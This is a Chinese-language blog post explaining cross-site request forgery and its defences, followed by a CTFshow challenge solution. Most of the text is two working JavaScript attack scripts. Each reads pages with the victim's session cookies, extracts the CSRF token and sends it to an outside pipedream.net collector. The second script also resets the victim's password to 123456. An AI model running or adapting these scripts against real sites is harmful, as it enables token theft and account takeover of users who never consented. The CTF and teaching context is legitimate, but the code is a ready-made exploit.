文章总结: 文档详解跨站请求伪造(CSRF)的原理与防御,重点展示CTFshow实战案例。作者编写JS代码提取CSRFToken并构造恶意请求,成功修改密码获取flag,演示了漏洞利用流程。内容结合理论与代码实战,为Web安全学习者提供了清晰的复现思路与技巧。 综合评分: 84 文章分类: WEB安全,CTF,漏洞分析,渗透测试,漏洞POC
CTFshow:请求伪造漏洞_CSRF
原创
小话安全 小话安全
小话安全
2026年2月26日 17:43 山东
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web安全漏洞,攻击者利用用户已登录的身份,在用户不知情的情况下,诱导其浏览器向目标网站发送恶意请求,从而执行非用户本意的操作。
攻击原理
- 依赖认证信息自动携带:浏览器在发送请求时,会自动携带目标网站的Cookie(如会话ID)、IP地址等认证凭据。
- 用户已登录目标网站:攻击成功的前提是用户已在浏览器中登录了目标网站(如银行、社交平台)。
- 恶意请求构造:攻击者在第三方站点(如恶意网站、邮件、论坛)中嵌入精心构造的请求链接或表单,用户访问时浏览器自动触发请求。
示例流程:
- 用户登录银行网站A,浏览器保存了A的会话Cookie。
- 用户未退出A,又访问了恶意网站B。
- 网站B包含一个隐藏的请求(如
<img src="http://bank.com/transfer?to=攻击者&amount=1000">)。 - 浏览器请求该资源时,自动携带A的Cookie,银行服务器误以为是用户本人操作,执行转账。
主要危害
- 篡改用户数据(如修改密码、邮箱)。
- 执行敏感操作(如转账、发帖、购物)。
- 可能导致账户被完全控制或资金损失。
常见防御措施
- CSRF Token 服务器生成随机字符串(Token)嵌入表单,提交时校验。攻击者无法获取Token,因此无法构造有效请求。
- SameSite Cookie属性
设置Cookie的
SameSite为Strict或Lax,限制第三方网站发起请求时携带Cookie。 - 验证Referer/Origin头 检查请求来源,拒绝来自非可信域的请求。
获取token
(async () => { try { // 可能包含flag的路径列表 const paths = ['/', '/modify']; let found = false;
for (const path of paths) { const url = new URL(path, window.location.origin).href; const res = await fetch(url, { credentials: 'include', method: 'GET' }); const txt = await res.text();
const flagStart = txt.indexOf('csrf_token'); if (flagStart !== -1) { // 提取flag本身(ctfshow{ + 后30字符,共38字符) const flag = txt.substr(flagStart, 38);
// 提取上下文:flag前100字节、后100字节(注意边界) const contextStart = Math.max(0, flagStart - 100); const contextEnd = Math.min(txt.length, flagStart + 38 + 100); const context = txt.substring(contextStart, contextEnd);
// 构建要发送的数据 const payload = { url: url, context: context, flag: flag };
// 发送到远程服务器 const headers = new Headers(); headers.append("Content-Type", "application/json"); const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(payload), }; await fetch("https://eo4bp0sd9m8wz5c.m.pipedream.net", options);
found = true; break; // 找到后停止遍历 } }
if (!found) { console.log("未找到ctfshow{标志"); } } catch (e) { console.error(e); }})();
更改密码
(async () => { try { const paths = ['/', '/modify']; let found = false;
for (const path of paths) { const url = new URL(path, window.location.origin).href; const res = await fetch(url, { credentials: 'include', method: 'GET' }); const txt = await res.text();
const flagStart = txt.indexOf('csrf_token'); if (flagStart !== -1) { // 原有逻辑:提取上下文并发送到远程服务器 const flag = txt.substr(flagStart, 38); const contextStart = Math.max(0, flagStart - 100); const contextEnd = Math.min(txt.length, flagStart + 38 + 100); const context = txt.substring(contextStart, contextEnd);
// 精确提取 CSRF token 值(支持 input 隐藏域和 meta 标签) let csrfToken = ''; const inputMatch = txt.match(/name=["']csrf_token["']\s+value=["']([^"']+)["']/i); if (inputMatch) { csrfToken = inputMatch[1]; } else { const metaMatch = txt.match(/<meta\s+name=["']csrf-token["']\s+content=["']([^"']+)["']/i); if (metaMatch) { csrfToken = metaMatch[1]; } }
// 将上下文和 token 发送到远程服务器(用于记录) const payload = { url: url, context: context, flag: flag, csrfToken: csrfToken }; const headers = new Headers(); headers.append("Content-Type", "application/json"); const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(payload), }; await fetch("https://eo4bp0sd9m8wz5c.m.pipedream.net", options);
// 若成功提取到 token,则尝试修改密码 if (csrfToken) { const formData = new URLSearchParams(); formData.append('password', '123456'); formData.append('csrf_token', csrfToken); // 修改密码的提交地址通常为当前页面 URL(也可根据实际情况调整) const modifyUrl = url; await fetch(modifyUrl, { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: formData }); console.log('密码修改请求已发送(新密码:123456)'); } else { console.log('未找到精确的 CSRF token 值,无法修改密码'); }
found = true; break; // 找到第一个符合条件的页面后停止遍历 } }
if (!found) { console.log("未找到 csrf_token 标志"); } } catch (e) { console.error(e); }})();
登录成功
获得flag
直播时间2月26日晚21:00
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小话安全 小话安全 小话安全《CTFshow:请求伪造漏洞_CSRF》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论